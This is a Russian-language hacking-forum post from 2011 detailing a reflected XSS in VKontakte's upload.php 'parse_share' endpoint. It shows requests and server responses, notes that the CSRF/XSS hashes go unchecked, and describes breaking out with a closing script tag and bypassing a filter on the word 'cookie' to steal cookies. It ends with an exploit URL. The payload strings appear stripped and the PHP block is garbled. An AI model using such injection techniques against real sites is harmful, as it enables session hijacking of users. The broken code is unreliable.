Показать сообщение отдельно

  #2  
Старый 03.11.2011, 22:54
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

cs*.vkontakte.ru/cs*.vk.vom

При отправке ссылки на видео youtube на стену, ВК парсит инфу об этом видео и выводит его на стену вместо отправляемой ссылки.

Для примера возьмем ролик http://www.youtube.com/watch?v=AW4u7mGMNcg (первый попавшийся)

Если вставить ссылку в сообщение и нажать кнопку "отправить", выполнится POST-запрос:

http://cs[N].vkontakte.ru/upload.php

act=parse_share&from_host=vkontakte.ru&mid=[СВОЙ_ID]&hash=[ХЭШ1]&rhash=[ХЭШ2]&url=[ССЫЛКА_НА_РОЛИК]


Ответ:

Код HTML:
  document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
  parent.onParseDone({
    title: 'Порно? ВКонтакте! / Need Porn? Use Russian Facebook!',
    description: "Комментируйте, голосуйте, добавляйте в избранное, рассылайте друзьям :) Большое спасибо за помощь в распространении нас :)\n\nWE LOVE OUR AMERICAN AUDIENCE, SUBSCRIBE, WE WILL BE ADDING ENGLISH SUBTITLES TO FUTURE VIDEOS FOR YOUR ENJOYMENT :)\n\nОбсуждение в нашей группе ВКонтакте:\n?http://vkontakte.ru/club382321?\n\nПроизводство студии My Duck's Vision\nСайт студии: ?http://mdvision.ru?",
    images: ['http://img.youtube.com/vi/AW4u7mGMNcg/0.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/2.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/3.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/3.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/2.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/0.jpg'],
    url: 'http://www.youtube.com/watch?v=AW4u7mGMNcg',
    domain: 'www.youtube.com',
    extra: 21,
    extraData: 'AW4u7mGMNcg:204'
    
  });
Параметр url возвращается в ответе. Кавычки экранируются, поэтому за пределы строки выйти не получится. Остается единственный вариант - закрывающий тег script, который даже внутри строки прерывает выполнение JS-кода.

Как оказалось, хэши для защиты от CSRF и XSS в этом запросе не проверяются. Параметры from_host, mid, hash и rhash необязательны. Отправлять можно GET-ом.

url=http://google.com/

Код HTML:
  document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
  parent.onParseFail();
Страница не существует (404)

url=http://google.com/?

Код HTML:
url: 'http://www.google.com/?%3C/%3E=',
Редирект. url берется из location (302)

url=http://www.google.com/?=

Код HTML:
url: 'http://www.google.com/?=',
Страница существует (200)

Пассивка найдена, но при попытке отправить в запросе

url=http://www.google.com/?=

оказывается, что фильтруется слово "cookie".

Обходится этот фильтр просто:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
XSS:

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=
 
Ответить с цитированием